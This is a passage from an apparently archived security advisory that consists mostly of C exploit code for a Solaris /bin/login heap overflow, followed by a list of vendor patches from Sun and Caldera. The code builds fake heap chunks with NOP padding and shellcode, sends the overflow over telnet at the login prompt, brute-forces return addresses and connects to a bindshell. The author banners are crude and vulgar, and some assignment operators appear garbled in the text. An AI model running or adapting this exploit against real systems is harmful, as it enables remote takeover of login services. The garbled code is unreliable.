	 int fd, ret;
	 u_char c, buf[3];
	 struct hostent *h;
	 
	 s.sin_family AF_INET;
	 s.sin_port htons(port);
	 s.sin_addr.s_addr inet_addr(host);
	
	 if ((h=gethostbyname(host))= NULL)
	 {
	 fprintf(stderr, \"cannot resolve: %s : %s\\n\", host,
	strerror(errno));
	 return -1;
	 }
	 
	 memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,
	sizeof(h->h_addr));
	 
	 if ( (fd socket (AF_INET, SOCK_STREAM, 0))= -1)
	 return fd;
	 
	 if (connect (fd, (struct sockaddr *)&s, sizeof(s))= -1)
	 {
	 close (fd);
	 return -1;
	 }
	 
	 // send DONT\'s for all the DO\'s... ;)
	 send_ww(fd, TELOPT_TTYPE, WONT);
	 send_ww(fd, TELOPT_NAWS, WONT);
	 send_ww(fd, TELOPT_XDISPLOC, WONT);
	 send_ww(fd, TELOPT_NEW_ENVIRON, WONT);
	 send_ww(fd, TELOPT_OLD_ENVIRON, WONT);
	 send_ww(fd, TELOPT_BINARY, WILL);
	 
	 return fd;
	}
	
	int setup_exploit(char *buffer, unsigned long retl, unsigned long reta,
	int bf) {
	 int i,j;
	 char *ptr;
	 char buf[3000]; 
	 char blah[512];
	 unsigned long *a;
	 unsigned long strncpy_addr 0xffbef2a8; 
	 unsigned long chunk_size 0xffffffd5;
	 unsigned long chunk 0xfffffff0; 
	 unsigned long free_addr 0x20026eec;
	#ifndef SOLARIS
	 shift(&strncpy_addr);
	 shift(&chunk_size);
	 shift(&chunk);
	 shift(&free_addr);
	#endif 
		fprintf(stderr, \"Solaris /bin/login array mismangement exploit by
	morgan@sexter.com\\n\");
		fprintf(stderr, \"<matthew> I\'ve brought more terror to this network
	then Shdwknght to a chinese food buffet.\\n\\n\");
		if(!bf) {
			fprintf(stderr, \"using %#x as return address\\n\", reta);
			fprintf(stderr, \"using %#x as return location\\n\", retl);
		}
		else fprintf(stderr, \"trying return address %#x\\n\", reta);
	
	 memset(&buf[0], 0x41, 512);
	 // SETUP FIRST CHUNK
	 // size -44+1
	 ptr &buf[36];
		memcpy(ptr, &chunk_size, 4); 
	
	 // SETUP CHUNK numbah 2
	 retl -= 32;
	 reta -= 8;
	#ifndef SOLARIS
		shift(&retl);
		shift(&reta);
	#endif
	 ptr buf;
	
		memcpy(ptr, &chunk, 4);
	 // second addr free\'d 
		memcpy(ptr+4, &free_addr, 4);
	 memcpy(ptr+8, (void *)&retl, 4);
	 memset(ptr+16, 0xff, 4);
	 memcpy(ptr+32, (void *) &reta, 4);
	
	 // fake chunk built.. setting up overflow..
	 for(i=0; i < 256; i++) {
	 if( i < 63 || i> 190) 
	 blah[i] 0x41;
	 else {
	 blah[i++] 0x20;
	 blah[i] 0x41;
	 }
	 }
	
	 //free addr 1 send in addr of mem
		memcpy(blah+252, &free_addr, 4);
	
		memcpy(blah+204, &strncpy_addr, 4);
	
	 blah[256] 0x00;
	
	
	 // add shellcode to end of buf
	 // pad with nops.. more is better... but not too many..
	 for(i=511-sizeof(shellcode)-2-4*NOPS; i <
	511-sizeof(shellcode); i+=4) 
	 memcpy(&buf[i], nop, sizeof(nop)-1);
	 memcpy(&buf[511-sizeof(shellcode)-2], shellcode,
	sizeof(shellcode));
	
	
	 // convert nulls to space..
	 for(i=0,j=0;i<511;i++) {
	 if(buf[i]= 0x00) {
	 buf[i] 0x20; j++; }
	 }
	 buf[511] 0x00;
	
	 sprintf(buffer,\"%s%s\\n\", &blah,&buf);
	
	 return;
	}
	
	int main(int argc, char **argv) {
	 int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001;
	 char out[1024];
	 char in[24];
	 char ret[] \"\\x0a\";
	 char *host;
		unsigned char bshell 0xd5;
	 char cc;
	 unsigned long reta, retl;
	
	
	 FILE *login;
	
	 retl 0x20026fc8;
	 reta 0xffbef864;
	 if(argc < 2)
	 usage(argv);
	 
	 while((c getopt(argc, argv, \"r:l:p:et:b\")) != EOF){
	 switch(c){ 
	 case \'r\':
	 reta strtoul(optarg, NULL, 0);
	 break;
	 case \'l\':
	 retl strtoul(optarg, NULL, 0); 
	 break;
	 case \'p\':
	 port atoi(optarg);
	 break;
	 case \'e\':
	 local=1;
	 break;
	 case \'t\':
	 type atoi(optarg);
	 if(type < 0 || type> 2){ 
	 fprintf(stderr, \"invalid target\\n\");
	 usage(argv);
				exit(0);
	 }
	 if(strstr(targets[type].name, \"local\")) 
	 local 1;
	 retl targets[type].retl;
	 reta targets[type].reta;
	 break;
			case \'b\':
			 bf=1;
			 break;
	 }
	 }
	
	 if(!local) {
	 if(!argv[optind] || !*argv[optind])
	 usage(argv);
	
	 host argv[optind];
	 }
		
	 if(local) {
	 fprintf(stderr, \"Local execution mode.. make sure to run
	%s [args] | /bin/login\\n\", argv[0]);
	 fprintf(stderr, \"first wait for Password: prompt.. hit
	enter then,\");
	 fprintf(stderr, \"wait for Login incorrect, and attempt
	to connect to localhost on %d\\n\", remp);
	
	 }
		if(bf) {
			 reta 0xffbef800;
		}		
	
	
		for(;reta < 0xffbef8ff; reta+=4) {
			memset(out, 0, sizeof(out));
		 setup_exploit(out, retl, reta, bf);
	
		 if(local) {
				if(bf) {
					fprintf(stderr, \"not supported do it manually you lazy fuck\\n\");
					exit(0);
				}
		 printf(\"%s\", out);
	 	 	}
	 	else {
				char *ptr=in;
	 	fd do_telnet_negotation (host, port);
	
	 	memset(in, 0, sizeof(in));
	
	 	while (!strstr(ptr, \":\")) {
					 if(ptr=&in[0]) {
						 memset(in, 0, sizeof(in));
		 	 if(read(fd, in, sizeof(in)-2) < 0)
	 						die(\"Failed read waiting for login: \");
					 }
					 for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
					 if( ptr=&in[sizeof(in)-2] || (ptr[0]=0 && ptr[1]=0)) 
					 ptr &in[0];
					 else 
					 ptr++;
	
	 	}
				memset(in, 0, sizeof(in));
				fprintf(stdout, \"Read login, sending bad user string now\\n\");
	 	write_with_iac(fd, out, strlen(out));
	 fprintf(stdout, \"waiting for password... \");
	
	 while (!strstr(ptr, \":\")) {
	 if(ptr=&in[0]) {
	 memset(in, 0, sizeof(in));
	 if(read(fd, in, sizeof(in)-2) <0)
	 die(\"Failed read waitingfor password: \");
	 }
	 for(;ptr < &in[sizeof(in)-1] && ptr[0]!= 0; ptr++);
	 if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0)) ptr &in[0];
	 else ptr++;
	 } 
	 	memset(in, 0, sizeof(in));
	 fprintf(stdout, \"read Password: \\nsending enternow\\n\");
	
	 	if(write(fd, ret, strlen(ret)) < 0)
	 				die(\"Write failed on password\");
	
	 fprintf(stdout, \"Sent overflow string....waiting for Login incorrect\\n\");
				while (!strstr(ptr, \"correct\")) {
	 if(ptr=&in[0]) {
	 memset(in, 0, sizeof(in));
	 if(read(fd, in, sizeof(in)-2) <0)
	 die(\"Failed read waiting for Login Incorrect \");
	 }
	 for(;ptr < &in[sizeof(in)-1] && ptr[0]!=0; ptr++);
	 if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0))
	 ptr &in[0];
	 else
	 ptr++;
	 
	 } 
	 fprintf(stdout, \"Got it!\\n\");
	 fprintf(stdout, \"lets connect to our bindshell..\\n\");
	
				close(connect_shell(host, remp));
				
	 	close(fd);
	 	}
			if(!bf) return;
		}
	 	fprintf(stderr, \"connection closed.\\n\");
	
	 return;
	}
	
SOLUTION
	All vendors has released patches.
	
	Sun:
	
	
	 111085-02 SunOS 5.8: /usr/bin/login patch
	 111086-02 SunOS 5.8_x86: /usr/bin/login patch
	 112300-01 SunOS 5.7:: usr/bin/login Patch
	 112301-01 SunOS 5.7_x86:: usr/bin/login Patch
	 105665-04 SunOS 5.6: /usr/bin/login patch
	 105666-04 SunOS 5.6_x86: /usr/bin/login patch
	 106160-02 SunOS 5.5.1: /usr/bin/login patch
	 106161-02 SunOS 5.5.1_x86: /usr/bin/login patch
	
	
	Caldera :
	
	
		ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.40/
	
		erg711877.506.tar.Z is the patch for SCO OpenServer Release
		5.0.6, with or without Release Supplement 5.0.6a (rs506a).
		Note that other security issues are corrected by rs506a; we
		strongly recommend installing it on all 5.0.6 systems.
	
		erg711877.505.tar.Z is the patch for SCO OpenServer Release
		5.0.5 and earlier. Although it should work with all releases
		5.0.0 through 5.0.5, it has not yet been tested on every
		release.
	

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH